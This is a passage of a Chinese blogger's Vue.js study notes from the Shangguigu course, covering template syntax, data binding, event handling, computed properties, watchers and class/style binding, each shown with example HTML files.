【Vue实践】尚硅谷张天禹Vue学习笔记(更新至第86课)-20221126~20221212

news2025/7/10 6:40:42

004_尚硅谷Vue技术_搭建Vue开发环境

搭建Vue.js devtools

允许访问文件网址
https://blog.csdn.net/sunhl951/article/details/80185628

阻止 vue 在启动时生成生产提示。

Vue.config.productionTip = false
目测没有用
https://blog.csdn.net/DIUDIUjiang/article/details/127000517

006_尚硅谷Vue技术_分析Hello案例

  • 初识Vue.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>初识Vue</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			初识Vue:
				1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
				2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
				3.root容器里的代码被称为【Vue模板】;
				4.Vue实例和容器是一一对应的;
				5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
				6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
				7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

				注意区分:js表达式 和 js代码(语句)
						1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
									(1). a
									(2). a+b
									(3). demo(1)
									(4). x === y ? 'a' : 'b'

						2.js代码(语句)
									(1). if(){}
									(2). for(){}
		-->

		<!-- 准备好一个容器 -->
		<div id="demo">
			<h1>Hello,{{name.toUpperCase()}}{{address}}</h1>
		</div>

		<script type="text/javascript" >
			Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

			//创建Vue实例
			new Vue({
				el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
				data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
					name:'atguigu',
					address:'北京'
				}
			})

		</script>
	</body>
</html>

在这里插入图片描述

007_尚硅谷Vue技术_模板语法

season总结:

模板语法有插值语法{{}}、指令语法。

课程

  • 模板语法.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>模板语法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				Vue模板语法有2大类:
					1.插值语法:
							功能:用于解析标签体内容。
							写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
					2.指令语法:
							功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
							举例:v-bind:href="xxx" 或  简写为 :href="xxx",xxx同样要写js表达式,
									 且可以直接读取到data中的所有属性。
							备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。

		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>你好,{{name}}</h3>
			<hr/>
			<h1>指令语法</h1>
			<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
			<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'jack',
				school:{
					name:'尚硅谷',
					url:'http://www.atguigu.com',
				}
			}
		})
	</script>
</html>

在这里插入图片描述

008_尚硅谷Vue技术_数据绑定

season总结:

数据绑定有单向数据绑定v-bind、双向数据绑定v-model。

课程

  • 数据绑定.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>数据绑定</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			Vue中有2种数据绑定的方式:
					1.单向绑定(v-bind):数据只能从data流向页面。
					2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
						备注:
								1.双向绑定一般都应用在表单类元素上(如:input、select等)
								2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
			双向数据绑定:<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定:<input type="text" :value="name"><br/>
			双向数据绑定:<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

在这里插入图片描述

009_尚硅谷Vue技术_el与data的两种写法

Season总结:

1.el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值。
2.data有2种写法
(1).对象式
(2).函数式

课程

  • el与data的两种写法.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>el与data的两种写法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			data与el的2种写法
					1.el有2种写法
									(1).new Vue时候配置el属性。
									(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
					2.data有2种写法
									(1).对象式
									(2).函数式
									如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
					3.一个重要的原则:
									由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>你好,{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//el的两种写法
		/* const v = new Vue({
			//el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)
		v.$mount('#root') //第二种写法 */

		//data的两种写法
		new Vue({
			el:'#root',
			//data的第一种写法:对象式
			/* data:{
				name:'尚硅谷'
			} */

			//data的第二种写法:函数式
			data(){
				console.log('@@@',this) //此处的this是Vue实例对象
				return{
					name:'尚硅谷'
				}
			}
		})
	</script>
</html>

010_尚硅谷Vue技术_理解MVVM

在这里插入图片描述

013_尚硅谷Vue技术_Vue中的数据代理

Season总结:

1.Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写),简单来说不用去_data。
2.Vue中数据代理的好处:更加方便的操作data中的数据
3.基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上。为每一个添加到vm上的属性,都指定一个getter/setter。在getter/setter内部去操作(读/写)data中对应的属性。
在这里插入图片描述

课程

在这里插入图片描述

  • 3.Vue中的数据代理.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue中的数据代理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.Vue中的数据代理:
							通过vm对象来代理data对象中属性的操作(读/写)
				2.Vue中数据代理的好处:
							更加方便的操作data中的数据
				3.基本原理:
							通过Object.defineProperty()把data对象中所有属性添加到vm上。
							为每一个添加到vm上的属性,都指定一个getter/setter。
							在getter/setter内部去操作(读/写)data中对应的属性。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称:{{name}}</h2>
			<h2>学校地址:{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				address:'宏福科技园'
			}
		})
	</script>
</html>

014_尚硅谷Vue技术_事件处理

Season总结:

事件的基本使用:
1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
2.事件的回调需要配置在methods对象中,最终会在vm上;
3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
5.@click=“demo” 和 @click=“demo($event)” 效果一致,但后者可以传参;

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件的基本使用</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				事件的基本使用:
							1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
							2.事件的回调需要配置在methods对象中,最终会在vm上;
							3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
							4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
							5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- <button v-on:click="showInfo">点我提示信息</button> -->
			<button @click="showInfo1">点我提示信息1(不传参)</button>
			<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
			},
			methods:{
				showInfo1(event){
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!')
				},
				showInfo2(event,number){
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!!')
				}
			}
		})
	</script>
</html>

在这里插入图片描述

015_尚硅谷Vue技术_事件修饰符

Season总结

记住3个最常用即可
1.prevent:阻止默认事件(常用);
2.stop:阻止事件冒泡(常用);
3.once:事件只触发一次(常用);

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件修饰符</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			*{
				margin-top: 20px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
			.box1{
				padding: 5px;
				background-color: skyblue;
			}
			.box2{
				padding: 5px;
				background-color: orange;
			}
			.list{
				width: 200px;
				height: 200px;
				background-color: peru;
				overflow: auto;
			}
			li{
				height: 100px;
			}
		</style>
	</head>
	<body>
		<!-- 
				Vue中的事件修饰符:
						1.prevent:阻止默认事件(常用);
						2.stop:阻止事件冒泡(常用);
						3.once:事件只触发一次(常用);
						4.capture:使用事件的捕获模式;
						5.self:只有event.target是当前操作的元素时才触发事件;
						6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- 阻止默认事件(常用) -->
			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

			<!-- 阻止事件冒泡(常用) -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
				<!-- 修饰符可以连续写 -->
				<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

			<!-- 事件只触发一次(常用) -->
			<button @click.once="showInfo">点我提示信息</button>

			<!-- 使用事件的捕获模式 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

			<!-- 只有event.target是当前操作的元素时才触发事件; -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

			<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods:{
				showInfo(e){
					alert('同学你好!')
					// console.log(e.target)
				},
				showMsg(msg){
					console.log(msg)
				},
				demo(){
					for (let i = 0; i < 100000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>
</html>

在这里插入图片描述

016_尚硅谷Vue技术_键盘事件

Season总结

@keyup.enter

v-on:keyup.page-down=“onPageDown”

1.Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>键盘事件</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.Vue中常用的按键别名:
							回车 => enter
							删除 => delete (捕获“删除”和“退格”键)
							退出 => esc
							空格 => space
							换行 => tab (特殊,必须配合keydown去使用)
							 => up
							 => down
							 => left
							 => right

				2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

				3.系统修饰键(用法特殊):ctrl、alt、shift、meta
							(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
							(2).配合keydown使用:正常触发事件。

				4.也可以使用keyCode去指定具体的按键(不推荐)

				5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods: {
				showInfo(e){
					// console.log(e.key,e.keyCode)
					console.log(e.target.value)
				}
			},
		})
	</script>
</html>

在这里插入图片描述

season简单试验

	<!DOCTYPE html>
	<html>
		<head>
			<meta charset="UTF-8" />
			<title>键盘事件</title>
			<!-- 引入Vue -->
			<script type="text/javascript" src="../js/vue.js"></script>
		</head>
		<body>
			<!-- 准备好一个容器-->
			<div id="root">
				<h2>欢迎来到{{name}}学习</h2>
				<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
				<input type="text" placeholder="按alt回车松手后提示输入" @keyup.alt.enter="showInfo">
			</div>
		</body>

		<script type="text/javascript">
			Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。


			new Vue({
				el:'#root',
				data:{
					name:'尚硅谷'
				},
				methods: {
					showInfo(e){
						console.log(e.target.value)
						alert(e.target.value)
					}
				},
			})
		</script>
	</html>

在这里插入图片描述

018_尚硅谷Vue技术_姓名案例

Season总结:

方法1:v-model+插值语法
方法2:v-model+methods
方法3:v-model+computed

课程

  • 1.姓名案例_插值语法实现.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_插值语法实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{firstName}}-{{lastName}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			}
		})
	</script>
</html>

在这里插入图片描述

  • 2.姓名案例_methods实现.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_methods实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName()}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			methods: {
				fullName(){
					console.log('@---fullName')
					return this.firstName + '-' + this.lastName
				}
			},
		})
	</script>
</html>

019_尚硅谷Vue技术_计算属性

Season总结:

		计算属性:
				1.定义:要用的属性不存在,要通过已有属性计算得来。
				2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
				3.get函数什么时候执行?
							(1).初次读取时会执行一次。
							(2).当依赖的数据发生改变时会被再次调用。
				4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
				5.备注:
						1.计算属性最终会出现在vm上,直接读取使用即可。
						2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

课程

  • 3.姓名案例_计算属性实现.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			计算属性:
					1.定义:要用的属性不存在,要通过已有属性计算得来。
					2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
					3.get函数什么时候执行?
								(1).初次读取时会执行一次。
								(2).当依赖的数据发生改变时会被再次调用。
					4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
					5.备注:
							1.计算属性最终会出现在vm上,直接读取使用即可。
							2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			测试:<input type="text" v-model="x"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			<!-- 全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				x:'你好'
			},
			methods: {
				demo(){
					
				}
			},
			computed:{
				fullName:{
					//get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
					//get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
					get(){
						console.log('get被调用了')
						// console.log(this) //此处的this是vm
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>

在这里插入图片描述

020_尚硅谷Vue技术_计算属性_简写

Season总结:

默认就是get()

课程:

  • 4.姓名案例_计算属性简写.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				//完整写法
				/* fullName:{
					get(){
						console.log('get被调用了')
						return this.firstName + '-' + this.lastName
					},
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				} */
				//简写
				fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				}
			}
		})
	</script>
</html>

021_尚硅谷Vue技术_天气案例

Season总结

方法1:computed和methods实现切换

课程

  • 1.天气案例.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
			<!-- <button @click="isHot = !isHot">切换天气</button> -->
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
		})
	</script>
</html>

022_尚硅谷Vue技术_监视属性

Season总结

监视属性watch:
1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
2.监视的属性必须存在,才能进行监视!!
3.监视的两种写法:
(1).new Vue时传入watch配置
(2).通过vm.$watch监视

			watch:{
				isHot:{
					immediate:true,
					handler(newValue,oldValue){
						console.log(newValue,oldValue)
					}
				}
			}

课程

  • 2.天气案例_监视属性.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				监视属性watch:
					1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
					2.监视的属性必须存在,才能进行监视!!
					3.监视的两种写法:
							(1).new Vue时传入watch配置
							(2).通过vm.$watch监视
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			/* watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下
					//handler什么时候调用?当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}
			} */
		})

		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用?当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
	</script>
</html>

在这里插入图片描述

023_尚硅谷Vue技术_深度监视

Season总结

深度监视:
(1).Vue中的watch默认不监测对象内部值的改变(一层)。
(2).配置deep:true可以监测对象内部值改变(多层)。

备注:
(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
(2).使用watch时根据数据的具体结构,决定是否采用深度监视。

课程:

  • 3.天气案例_深度监视.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_深度监视</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				深度监视:
						(1).Vue中的watch默认不监测对象内部值的改变(一层)。
						(2).配置deep:true可以监测对象内部值改变(多层)。
				备注:
						(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
						(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
			<hr/>
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				isHot:{
					// immediate:true, //初始化时让handler调用一下
					//handler什么时候调用?当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
				//监视多级结构中某个属性的变化
				/* 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} */
				//监视多级结构中所有属性的变化
				numbers:{
					deep:true,
					handler(){
						console.log('numbers改变了')
					}
				}
			}
		})

	</script>
</html>

024_尚硅谷Vue技术_监视的简写形式

Season总结

			watch:{
				//正常写法
				isHot:{
					// immediate:true, //初始化时让handler调用一下
					// deep:true,//深度监视
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}, 
				//简写
				isHot(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue,this)
				}
			}

课程:

  • 4.天气案例_监视属性_简写.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性_简写</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				//正常写法
				/* isHot:{
					// immediate:true, //初始化时让handler调用一下
					// deep:true,//深度监视
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}, */
				//简写
				/* isHot(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue,this)
				} */
			}
		})

		//正常写法
		/* vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			deep:true,//深度监视
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		}) */

		//简写
		/* vm.$watch('isHot',(newValue,oldValue)=>{
			console.log('isHot被修改了',newValue,oldValue,this)
		}) */

	</script>
</html>

025_尚硅谷Vue技术_watch对比computed

Season总结

computed和watch之间的区别:
1.computed能完成的功能,watch都可以完成。
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
两个重要的小原则:
1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
这样this的指向才是vm 或 组件实例对象。()=>{}可以替换为function(){}

以属性作为函数名,fullName必须存在,修改this.fullName

			watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				}
			}

课程:

  • 5.姓名案例_watch实现.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_watch实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				computed和watch之间的区别:
						1.computed能完成的功能,watch都可以完成。
						2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
				两个重要的小原则:
							1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
							2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
								这样this的指向才是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				fullName:'张-三'
			},
			watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				}
			}
		})
	</script>
</html>

在这里插入图片描述

026_尚硅谷Vue技术_绑定class样式~027_尚硅谷Vue技术_绑定style样式

Season总结

		绑定样式:
				1. class样式
							写法:class="xxx" xxx可以是字符串、对象、数组。
									字符串写法适用于:类名不确定,要动态获取。
									对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
									数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
				2. style样式
							:style="{fontSize: xxx}"其中xxx是动态值。
							:style="[a,b]"其中a、b是样式对象。

课程:

  • 绑定样式.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			绑定样式:
					1. class样式
								写法:class="xxx" xxx可以是字符串、对象、数组。
										字符串写法适用于:类名不确定,要动态获取。
										对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
										数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
					2. style样式
								:style="{fontSize: xxx}"其中xxx是动态值。
								:style="[a,b]"其中a、b是样式对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

